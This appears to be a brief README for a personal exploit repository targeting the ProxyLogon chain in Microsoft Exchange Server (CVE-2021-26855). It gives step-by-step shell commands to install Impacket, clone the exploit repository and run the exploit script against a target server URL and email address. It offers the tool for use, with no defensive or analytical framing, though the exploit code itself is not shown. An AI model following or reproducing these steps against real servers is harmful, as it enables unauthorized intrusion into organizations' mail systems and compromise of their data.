my exploit for the proxylogon chain (Microsoft Exchange Server - CVE-2021-26855)

the exploit uses Impacket package, to install it run this:

user@host:~$ python3 -m pip install impacket

then clone the exploit repo, and enter the exploit directory:

user@host:~$ git clone https://github.com/hakivvi/proxylogon.git && cd proxylogon

run the exploit:

user@host:~$ python3 proxylogon.py http://mail.corp.com email@corp.com